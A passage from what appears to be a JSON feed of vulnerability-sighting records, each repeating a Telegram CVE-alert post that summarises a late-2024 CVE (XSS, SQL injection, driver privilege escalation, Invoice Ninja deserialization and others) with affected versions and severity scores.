0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T00:10:12.000000Z"}, {"uuid": "6a93652d-e5da-4c18-a7c1-b7bfffd1640f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55494", "type": "seen", "source": "https://t.me/cvedetector/14904", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55494 - Opencode Mobile Collect Call XSS\", \n  \"Content\": \"CVE ID : CVE-2024-55494 \nPublished : Jan. 9, 2025, 8:15 p.m. | 38\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in Opencode Mobile Collect Call v5.4.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the op_func parameter at /occontrolpanel/index.php. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T21:57:21.000000Z"}, {"uuid": "25be1d71-1d60-48ad-9822-517f2e526317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "seen", "source": "https://t.me/cvedetector/16137", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55957 - Thermo Fisher Scientific Xcalibur Local Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55957 \nPublished : Jan. 22, 2025, 6:15 p.m. | 27\u00a0minutes ago \nDescription : In Thermo Fisher Scientific Xcalibur before 4.7 SP1 and Thermo Foundation Instrument Control Software (ICSW) before 3.1 SP10, the driver packages have a local privilege escalation vulnerability due to improper access control permissions on Windows systems. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T19:44:55.000000Z"}, {"uuid": "8ef533ab-f55b-4de1-915f-fac2345b349c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55488", "type": "seen", "source": "https://t.me/cvedetector/16118", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55488 - Umbraco CMS Stored XSS Arbitrary Web Script Execution\", \n  \"Content\": \"CVE ID : CVE-2024-55488 \nPublished : Jan. 22, 2025, 4:15 p.m. | 44\u00a0minutes ago \nDescription : A stored cross-site scripting (XSS) vulnerability in Umbraco CMS v14.3.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T18:04:10.000000Z"}, {"uuid": "10e89388-44de-411f-8f4f-ae3022f50ce1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55504", "type": "seen", "source": "https://t.me/cvedetector/16005", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55504 - RAR Extractor - Unarchiver Free and Pro Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55504 \nPublished : Jan. 21, 2025, 7:15 p.m. | 39\u00a0minutes ago \nDescription : An issue in RAR Extractor - Unarchiver Free and Pro v.6.4.0 allows local attackers to inject arbitrary code potentially leading to remote control and unauthorized access to sensitive user data via the exploit_combined.dylib component on MacOS. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-21T21:09:33.000000Z"}, {"uuid": "e6ba7a06-35ba-4924-a396-dc9b22754786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55225", "type": "seen", "source": "https://t.me/cvedetector/14922", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55225 - Vaultwarden Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55225 \nPublished : Jan. 9, 2025, 9:15 p.m. | 28\u00a0minutes ago \nDescription : An issue in the component src/api/identity.rs of Vaultwarden prior to v1.32.5 allows attackers to impersonate users, including Administrators, via a crafted authorization request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T22:47:55.000000Z"}, {"uuid": "5690f597-315b-4fee-8c59-692bde081b67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55226", "type": "seen", "source": "https://t.me/cvedetector/14925", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55226 - Vaultwarden Authenticated Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-55226 \nPublished : Jan. 9, 2025, 9:15 p.m. | 28\u00a0minutes ago \nDescription : Vaultwarden v1.32.5 was discovered to contain an authenticated reflected cross-site scripting (XSS) vulnerability via the component /api/core/mod.rs. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T22:47:58.000000Z"}, {"uuid": "2b4824f4-3b9e-4d36-aa6f-db2504df679e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55224", "type": "seen", "source": "https://t.me/cvedetector/14924", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55224 - Vaultwarden HTML Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55224 \nPublished : Jan. 9, 2025, 9:15 p.m. | 28\u00a0minutes ago \nDescription : An HTML injection vulnerability in Vaultwarden prior to v1.32.5 allows attackers to execute arbitrary code via injecting a crafted payload into the username field of an e-mail message. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T22:47:57.000000Z"}, {"uuid": "bf138849-6b87-45ae-abb7-8cba34290896", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55459", "type": "seen", "source": "https://t.me/cvedetector/14700", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55459 - Apache Keras Arbitrary File Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55459 \nPublished : Jan. 8, 2025, 5:15 p.m. | 35\u00a0minutes ago \nDescription : An issue in keras 3.7.0 allows attackers to write arbitrary files to the user's machine via downloading a crafted tar file through the get_file function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T19:09:29.000000Z"}, {"uuid": "8af397d4-3eb5-4652-b3a2-b7ef32f6485b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55656", "type": "seen", "source": "https://t.me/cvedetector/14693", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55656 - Redis RedisBloom Probabilistic Data Structures Integer Overflow Information Leak Out-of-Bounds Write\", \n  \"Content\": \"CVE ID : CVE-2024-55656 \nPublished : Jan. 8, 2025, 4:15 p.m. | 43\u00a0minutes ago \nDescription : RedisBloom adds a set of probabilistic data structures to Redis. There is an integer overflow vulnerability in RedisBloom, which is a module used in Redis. The integer overflow vulnerability allows an attacker (a redis client which knows the password) to allocate memory in the heap lesser than the required memory due to wraparound. Then read and write can be performed beyond this allocated memory, leading to info leak and OOB write. The integer overflow is in CMS.INITBYDIM command, which initialize a Count-Min Sketch to dimensions specified by user. It accepts two values (width and depth) and uses them to allocate memory in NewCMSketch(). This vulnerability is fixed in 2.2.19, 2.4.12, 2.6.14, and 2.8.2. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T18:19:13.000000Z"}, {"uuid": "7a8264f8-e4ac-415c-b2c5-cde66ab1a65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55517", "type": "seen", "source": "https://t.me/cvedetector/14692", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55517 - Polaris FT Intellect Core Banking SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55517 \nPublished : Jan. 8, 2025, 4:15 p.m. | 43\u00a0minutes ago \nDescription : An issue was discovered in the Interllect Core Search in Polaris FT Intellect Core Banking 9.5. Input passed through the groupType parameter in /SCGController is mishandled before being used in SQL queries, allowing SQL injection in an authenticated session. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T18:19:13.000000Z"}, {"uuid": "1b5a619a-d38b-4e3f-b908-757c254e2525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55218", "type": "seen", "source": "https://t.me/cvedetector/14602", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55218 - IceWarp Server XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55218 \nPublished : Jan. 7, 2025, 8:15 p.m. | 42\u00a0minutes ago \nDescription : IceWarp Server 10.2.1 is vulnerable to Cross Site Scripting (XSS) via the meta parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T22:15:00.000000Z"}, {"uuid": "541bf2b6-09b9-40b2-9c2a-ada3b71b8df7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55414", "type": "seen", "source": "https://t.me/cvedetector/14594", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55414 - Motorola SM56 Modem WDM Driver Privilege Escalationlsa\", \n  \"Content\": \"CVE ID : CVE-2024-55414 \nPublished : Jan. 7, 2025, 6:15 p.m. | 24\u00a0minutes ago \nDescription : A vulnerability exits in driver SmSerl64.sys in Motorola SM56 Modem WDM Driver v6.12.23.0, which allows low-privileged users to mapping physical memory via specially crafted IOCTL requests . This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T19:44:30.000000Z"}, {"uuid": "f22384fc-b7ee-4f28-b559-2621e03e5369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55413", "type": "seen", "source": "https://t.me/cvedetector/14593", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55413 - SUNIX Parallel Driver x64 uninitialized IOCTL Request Vulnerability (Privilege Escalation, Code Execution, Information Disclosure)\", \n  \"Content\": \"CVE ID : CVE-2024-55413 \nPublished : Jan. 7, 2025, 6:15 p.m. | 24\u00a0minutes ago \nDescription : A vulnerability exits in driver snxppamd.sys in SUNIX Parallel Driver x64 - 10.1.0.0, which allows low-privileged users to read and write arbitary i/o port via specially crafted IOCTL requests . This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T19:44:29.000000Z"}, {"uuid": "13c29302-744a-4561-ad96-bc17e9a706ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55412", "type": "seen", "source": "https://t.me/cvedetector/14592", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55412 - SUNIX Serial Driver x64_PRIVILEGE ESCALATION\", \n  \"Content\": \"CVE ID : CVE-2024-55412 \nPublished : Jan. 7, 2025, 6:15 p.m. | 24\u00a0minutes ago \nDescription : A vulnerability exits in driver snxpsamd.sys in SUNIX Serial Driver x64 - 10.1.0.0, which allows low-privileged users to read and write arbitary i/o port via specially crafted IOCTL requests . This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T19:44:28.000000Z"}, {"uuid": "bf00bc60-fb71-44da-95d4-fb1aff2d4004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55411", "type": "seen", "source": "https://t.me/cvedetector/14591", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55411 - Sunix Multi I/O Card Arbitrary IOCTL Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55411 \nPublished : Jan. 7, 2025, 6:15 p.m. | 24\u00a0minutes ago \nDescription : An issue in the snxpcamd.sys component of SUNIX Multi I/O Card v10.1.0.0 allows attackers to perform arbitrary read and write actions via supplying crafted IOCTL requests. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T19:44:24.000000Z"}, {"uuid": "bfebfeae-91dd-4286-ae61-b20da0b95e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55410", "type": "seen", "source": "https://t.me/cvedetector/14590", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55410 - Asus GPU Tweak II Program Driver IOCTL Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-55410 \nPublished : Jan. 7, 2025, 6:15 p.m. | 24\u00a0minutes ago \nDescription : An issue in the 690b33e1-0462-4e84-9bea-c7552b45432a.sys component of Asus GPU Tweak II Program Driver v1.0.0.0 allows attackers to perform arbitrary read and write actions via supplying crafted IOCTL requests. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T19:44:24.000000Z"}, {"uuid": "4e02e1e7-05b5-4e27-9fe3-ceffab814423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "seen", "source": "https://t.me/cvedetector/14582", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55555 - Invoice Ninja Laravel RCE\", \n  \"Content\": \"CVE ID : CVE-2024-55555 \nPublished : Jan. 7, 2025, 5:15 p.m. | 31\u00a0minutes ago \nDescription : Invoice Ninja before 5.10.43 allows remote code execution from a pre-authenticated route when an attacker knows the APP_KEY. This is exacerbated by .env files, available from the product's repository, that have default APP_KEY values. The route/{hash} route defined in the invoiceninja/routes/client.php file can be accessed without authentication. The parameter {hash} is passed to the function decrypt that expects a Laravel ciphered value containing a serialized object. (Furthermore, Laravel contains several gadget chains usable to trigger remote command execution from arbitrary deserialization.) Therefore, an attacker in possession of the APP_KEY is able to fully control a string passed to an unserialize function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T18:54:11.000000Z"}, {"uuid": "56f47152-a12d-4794-a0f2-831a65b7309d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55342", "type": "seen", "source": "https://t.me/cvedetector/13451", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55342 - Piranha CMS File Upload Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55342 \nPublished : Dec. 20, 2024, 7:15 p.m. | 32\u00a0minutes ago \nDescription : A file upload functionality in Piranha CMS 11.1 allows authenticated remote attackers to upload a crafted PDF file to /manager/media. This PDF can contain malicious JavaScript code, which is executed when a victim user opens or interacts with the PDF in their web browser, leading to a XSS vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T20:55:56.000000Z"}, {"uuid": "a8b8c4e9-2123-4729-86a0-cf8192a6854f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55341", "type": "seen", "source": "https://t.me/cvedetector/13457", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55341 - Piranha CMS Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-55341 \nPublished : Dec. 20, 2024, 8:15 p.m. | 24\u00a0minutes ago \nDescription : A stored cross-site scripting (XSS) vulnerability in Piranha CMS 11.1 allows remote attackers to execute arbitrary JavaScript in the web browser of a user, by creating a page via the /manager/pages and then adding a markdown content with the XSS payload. \nSeverity: 4.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T21:46:09.000000Z"}, {"uuid": "7f7b6f0c-85bb-4348-ad53-dde014e5065c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55509", "type": "seen", "source": "https://t.me/cvedetector/13466", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55509 - CodeAstro Complaint Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55509 \nPublished : Dec. 20, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : SQL injection vulnerability in CodeAstro Complaint Management System v.1.0 allows a remote attacker to execute arbitrary code and escalate privileges via the id parameter of the delete.php component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T23:26:39.000000Z"}, {"uuid": "84b79af0-bb01-4148-9a03-7d6fa529f803", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55470", "type": "seen", "source": "https://t.me/cvedetector/13448", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55470 - Oqtane Framework Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-55470 \nPublished : Dec. 20, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : Oqtane Framework 6.0.0 is vulnerable to Incorrect Access Control. By manipulating the entityid parameter, attackers can bypass passcode validation and successfully log into the application or access restricted data without proper authorization. The lack of server-side validation exacerbates the issue, as the application relies on client-side information for authentication. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T18:25:26.000000Z"}, {"uuid": "223244b2-abda-4ae5-8ead-0514f24ffec9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55186", "type": "seen", "source": "https://t.me/cvedetector/13447", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55186 - Oqtane Framework User account IDOR Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55186 \nPublished : Dec. 20, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : An IDOR (Insecure Direct Object Reference) vulnerability exists in oqtane Framework 6.0.0, allowing a logged-in user to access inbox messages of other users by manipulating the notification ID in the request URL. By changing the notification ID, an attacker can view sensitive mail details belonging to other users. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T18:25:26.000000Z"}, {"uuid": "cb045368-9d7d-48be-914f-1e84cbebb722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55471", "type": "seen", "source": "https://t.me/cvedetector/13445", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55471 - Oqtane Framework IDOR vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55471 \nPublished : Dec. 20, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : Oqtane Framework is vulnerable to Insecure Direct Object Reference (IDOR) in Oqtane.Controllers.UserController. This allows unauthorized users to access sensitive information of other users by manipulating the id parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T18:25:24.000000Z"}, {"uuid": "28918e43-ef02-4478-a12a-09fec707b5b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55081", "type": "seen", "source": "https://t.me/cvedetector/13350", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55081 - Chat2DB XML External Entity Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55081 \nPublished : Dec. 19, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : An XML External Entity (XXE) injection vulnerability in the component /datagrip/upload of Chat2DB v0.3.5 allows attackers to execute arbitrary code via supplying a crafted XML input. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:00:07.000000Z"}, {"uuid": "3e9fd972-2032-4134-a378-d050cd544004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55082", "type": "seen", "source": "https://t.me/cvedetector/13340", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55082 - Stirling-PDF SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55082 \nPublished : Dec. 19, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : A Server-Side Request Forgery (SSRF) in the endpoint http://{your-server}/url-to-pdf of Stirling-PDF 0.35.1 allows attackers to access sensitive information via a crafted request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T18:09:49.000000Z"}, {"uuid": "0cc6442e-4105-47cf-8d94-42c97af9e999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55196", "type": "seen", "source": "https://t.me/cvedetector/13363", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55196 - GoPhish IMAP SMTP Credentials Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-55196 \nPublished : Dec. 19, 2024, 7:15 p.m. | 22\u00a0minutes ago \nDescription : Insufficiently Protected Credentials in the Mail Server Configuration in GoPhish v0.12.1 allows an attacker to access cleartext passwords for the configured IMAP and SMTP servers. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T20:40:34.000000Z"}, {"uuid": "e3ce80c4-7a94-454e-8449-a4521d76e74d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55505", "type": "seen", "source": "https://t.me/cvedetector/13257", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55505 - CodeAstro Complaint Management System Remote Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55505 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : An issue in CodeAstro Complaint Management System v.1.0 allows a remote attacker to escalate privileges via the mess-view.php component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:20.000000Z"}, {"uuid": "41e8cdfa-df0e-4639-963d-d8e1ed9d477c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55603", "type": "seen", "source": "https://t.me/cvedetector/13286", "content": "{\n  \"Source\": \"CVE FEED\",\n  